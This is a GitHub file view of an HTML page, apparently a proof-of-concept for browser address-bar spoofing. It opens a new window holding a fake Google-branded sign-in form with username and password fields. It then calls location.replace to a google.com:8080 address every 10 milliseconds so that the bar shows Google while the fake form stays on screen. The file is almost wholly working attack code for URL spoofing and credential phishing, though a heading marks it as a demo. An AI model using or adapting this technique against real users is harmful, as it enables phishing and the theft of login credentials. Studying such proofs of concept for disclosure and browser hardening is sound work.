-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfb11.html
More file actions
26 lines (26 loc) · 1.15 KB
/
fb11.html
File metadata and controls
26 lines (26 loc) · 1.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
<body>
<button onclick="spoof()">Click to spoof</button>
<script>
function spoof() {
let win = window.open("", "_blank");
let payload = '<div style="text-align:center; font-family:Arial, sans-serif;">' +
'<img src="https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_160x56dp.png" alt="Google Logo" style="margin-top:20px;">' +
'<h1>This is NOT Google!</h1>' +
'<p>Please enter your credentials:</p>' +
'<form style="margin-top:20px;">' +
'<input type="text" placeholder="Username" style="display:block; margin:10px auto; padding:8px; width:200px;">' +
'<input type="password" placeholder="Password" style="display:block; margin:10px auto; padding:8px; width:200px;">' +
'<button type="submit" style="padding:8px 16px; background-color:#4285F4; color:white; border:none; cursor:pointer;">Sign In</button>' +
'</form>' +
'</div>';
win.document.write(payload);
win.document.close();
setInterval(function() {
win.location.replace("https://www.google.com:8080");
}, 10); // Small interval to preserve the spoof
}
</script>
</body>
</html>